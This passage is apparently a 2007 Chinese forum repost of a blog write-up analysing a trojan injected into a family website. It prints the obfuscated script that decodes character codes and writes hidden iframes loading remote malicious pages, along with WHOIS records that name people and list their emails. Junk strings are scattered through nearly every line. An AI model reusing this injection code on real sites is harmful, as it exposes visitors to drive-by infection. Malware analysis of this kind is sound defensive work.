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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, xIGq+yd(  
H].|K/-p  
http://www.areway.cn/?p=175 1Ng+mT  
>\d&LLAe  
oT-gZedW(  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: BB6[(Z  
          ^O18\a  
<script>t=’60,105,102,114,97,109,101, I.n,TJoz4J  
32,115,114,99,61,104,116,116,112,58,47,47, xvV";o  
102,114,101,101,46,117,45,117,117,117,46,99, BM<q;;pO  
110,47,101,114,114,111,114,46,104,116,109, SXk.7bMV6  
32,119,105,100,116,104,61,49,48,48,32,104, #RBrii-,  
101,105,103,104,116,61,48,62,60,47,105,102, }T@=I&g;  
114,97,109,101,62′; ~Q&J\'GQH  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> HU'Mi8xxy  
                                                                                                  M76p=*  
<script>t=’60,105,102,114,97,109,101,32,115, K6kz{R%`  
114,99,61,104,116,116,112,58,47,47,102,114, inWLIXC,  
101,101,46,117,45,117,117,117,46,99,110,47, ,X.[37  
101,114,114,111,114,46,104,116,109,32,119, /K#k_k  
105,100,116,104,61,49,48,48,32,104,101,105, I8Aq8XBw  
103,104,116,61,48,62,60,47,105,102,114,97, m\56BP-AM  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); C^L+R7  
document.write(t);</script> ~[HzGm%  
                                                                                                  CRK%^3g  
<html xmlns=” <rBW6o7  
http://www.w3.org/1999/xhtml XOvJlaY)'.  
“> 'XK 'T\m  
<head> g&s. 0+  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> N1$u@P{  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 4yyw:"  
<title>首页 - 爱生活家庭网 JT?u[p Q^  
                                                                                                                                                    d=D-s  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。  k,:W]KD  
转换字符串后的大概内容是(谁点击后果自付): =Kd'(ct  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… tm+*ik=x|  
                                                                                                                                  pey=zR!  
查询玉米u-uuu.cn的详细信息: h} `v0E  
Domain Name: u-uuu.cn l =E86"m  
ROID: 20070901s10001s64972306-cn A7% d  
Domain Status: ok ;7'O=%  
Registrant Organization: 王雷 $Zu?Gd?  
Registrant Name: 王雷 +V4)><  
Administrative Email: czlovexs@126.com gJQ#j~'  
Sponsoring Registrar: 北京万网志成科技有限公司 :W.H#@'(  
Name Server:ns.yovole.com rYb5#aT[  
Name Server:ns1.yovole.com |J-X3`^\H  
Registration Date: 2007-09-01 17:54 WC#6(H5t$  
Expiration Date: 2008-09-01 17:54 V&*IZt&  
最后PING了一下地址 都没有什么…. ,8e'<y  
                                                                                                .PB!1C.}@  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. duaF?\vv  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> rfqwxr45h  
<script language=”javascript” src=” Pk;\^DRC  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script `D4Wg<,9  
> -c_l nK  
这个玉米应该有可能是木马作者的: AY /9Io-  
foafau.info的详细信息: .KrLvic  
Access to INFO WHOIS information is provided to assist persons in ?2]fE[SqY  
determining the contents of a domain name registration record in the @7Ec(]yp  
Afilias registry database. The data in this record is provided by t7f(%/] H0  
Afilias Limited for informational purposes only, and Afilias does not > Vm}u`x  
guarantee its accuracy.  This service is intended only for query-based T#ls2UL*xh  
access. You agree that you will use this data only for lawful purposes X q?>a+B  
and that, under no circumstances will you use this data to: (a) allow, B!wN%> U  
enable, or otherwise support the transmission by e-mail, telephone, or i!a!qE.1  
facsimile of mass unsolicited, commercial advertising or solicitations #Zdh<.   
to entities other than the data recipient’s own existing customers; or 5i[O\@]5  
(b) enable high volume, automated, electronic processes that send &W45.2  
queries or data to the systems of Registry Operator, a Registrar, or r8EJ@pOF2w  
Afilias except as reasonably necessary to register domain names or @Tu`0 =8  
modify existing registrations. All rights reserved. Afilias reserves 1CC0]pyHX  
the right to modify these terms at any time. By submitting this query,  ?(9*@  
you agree to abide by this policy. =t,oj6P~  
Domain ID:D22418703-LRMS |/Vq{gxp+  
Domain Name:FOAFAU.INFO eKiDc=@  
Created On:20-Nov-2007 16:05:42 UTC 3~`P8 9  
Last Updated On:20-Nov-2007 16:05:44 UTC .RroO_H   
Expiration Date:20-Nov-2008 16:05:42 UTC 7h\is  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) "Hw%@]#  
Status:CLIENT DELETE PROHIBITED Y2L{oQ.C2  
Status:CLIENT RENEW PROHIBITED NfoHQU <n  
Status:CLIENT TRANSFER PROHIBITED MSCH6R"5  
Status:CLIENT UPDATE PROHIBITED \l/(L5gY  
Status:TRANSFER PROHIBITED jwI2T$  
Registrant ID:GODA-040110615 Q`k;E}x_-  
Registrant Name:liu hong &{Z+p(3Gj  
Registrant Organization: y4kn2Mw;  
Registrant Street1:beijing 9C7Npf?~M  
Registrant Street2: \l!+l  
Registrant Street3: =F \Xt "  
Registrant City:beijing Vh0cac|X  
Registrant State/Province: -5*OSA:8x  
Registrant Postal Code:100000 _ s 3aaOL  
Registrant Country:CN lV'?X%  
Registrant Phone:+86.860108888777 1K/HVj+'.  
Registrant Phone Ext.: ?8O5%IrJ  
Registrant FAX: g:!U,<C^a  
Registrant FAX Ext.: (-S^L'v62v  
Registrant Email:bbbshiji@163.com <-1:o*8:}  
Admin ID:GODA-240110615 ja9u?UbW  
Admin Name:liu hong ]!TE  
Admin Organization: bPTtA;u  
Admin Street1:beijing }1 O"?6  
Admin Street2: _g Mr]%Q  
Admin Street3: S<T 'B0r8  
Admin City:beijing KH2]:&6:Q  
Admin State/Province: 6w%n$tiX  
Admin Postal Code:100000 z?DCQ  
Admin Country:CN a j4ZS  
Admin Phone:+86.860108888777 Xm,fyk>  
Admin Phone Ext.: /4+L2O[  
Admin FAX: .s\lfBo9  
Admin FAX Ext.: 2*sTU  
Admin Email:bbbshiji@163.com '-"[>`[q  
Billing ID:GODA-340110615 Z` kVyuQ  
Billing Name:liu hong 2sGKn a  
Billing Organization: NnAIL;WS  
Billing Street1:beijing E:qh}wY  
Billing Street2: kI"9T`owR  
Billing Street3: ]aIHd]B  
Billing City:beijing nReIi;pi  
Billing State/Province: JL {H3r&/S  
Billing Postal Code:100000 {+lU4u  
Billing Country:CN |OLXb+ 7X  
Billing Phone:+86.860108888777 r`- 8+"P  
Billing Phone Ext.: fgqCX:SWz  
Billing FAX: }k.yLcXM  
Billing FAX Ext.: 6"_pCkn;c<  
Billing Email:bbbshiji@163.com reR@@O  
Tech ID:GODA-140110615 @v`.^L{P  
Tech Name:liu hong >)D=PvGlmp  
Tech Organization: Ys.GBSlHG  
Tech Street1:beijing \dQc!)&C9  
Tech Street2: Yz;7g8HI  
Tech Street3: 3D6&0xTq  
Tech City:beijing 53hX%{3  
Tech State/Province: &B5&:ib1D  
Tech Postal Code:100000 Z,p@toj'  
Tech Country:CN d%I7OBBx@  
Tech Phone:+86.860108888777 o~'p&f  
Tech Phone Ext.: qUfoEpW2=6  
Tech FAX: GLIY!BU<C  
Tech FAX Ext.: "$N$:B@U  
Tech Email:bbbshiji@163.com jOCV)V9}  
Name Server:NS27.DOMAINCONTROL.COM - "zW"v)\  
Name Server:NS28.DOMAINCONTROL.COM 3rK\ f4'  
Name Server: 8GBKFNR 8  
Name Server:  j=pg5T  
Name Server: v2tVq_\AMx  
Name Server: 8d$|JN;)  
Name Server: t<dFH}U`w  
Name Server: XZN@hXc9:v  
Name Server: :2KPvp 7?  
Name Server: i+(>w'=m  
Name Server: 1BmKwux:  
Name Server: f:46.)W j<  
Name Server: p9jC-&:  
                                                                                                          (Q*x"G#4>  
接着下载每个文件里面的代码: V0D&bN*  
一步一步看.. 8Vz!zYl  
@_t=0Rc  
FI:H/e5[  
4"|3pMr  
T}{zh  
y_>DszRN`u  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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